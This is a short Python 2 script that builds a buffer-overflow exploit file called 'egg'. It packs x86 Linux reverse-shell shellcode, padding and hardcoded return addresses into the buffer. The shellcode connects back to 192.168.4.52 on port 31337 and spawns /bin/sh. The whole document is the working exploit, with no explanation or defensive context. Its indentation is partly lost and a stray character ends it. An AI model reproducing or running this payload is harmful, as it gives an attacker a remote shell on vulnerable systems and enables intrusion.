import struct
def off(o):
return struct.pack( 'L' ,o)
reverseIP = '\xc0\xa8\x04\x34'
reversePort = '\x7a\x69'
shellcode = "\xcc\x31\xc0\x31\xdb\x31\xc9\x31\xd2" \
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a" \
"\x01\x6a\x02\x89\xe1\xcd\x80\x89" \
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68" + \
reverseIP + "\x66\x68" + reversePort + "\x66\x53\xfe" \
"\xc3\x89\xe1\x6a\x10\x51\x56\x89" \
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe" \
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31" \
"\xc0\x52\x68\x6e\x2f\x73\x68\x68" \
"\x2f\x2f\x62\x69\x89\xe3\x52\x53" \
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd" \
"\x80"
shellcode_sz = len (shellcode)
print 'shellcode sz %d' % shellcode_sz
ebx = 0x08385908
sc_off = 0x08385908 + 20
padd = 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMM'
buff = 'aaaa' + off(ebx) + 'aaaaaAAA' + off(ebx) + shellcode + padd + off(sc_off)
print 'buff sz: %s' % len (buff)
open ( 'egg' , 'w' ).write(buff)
|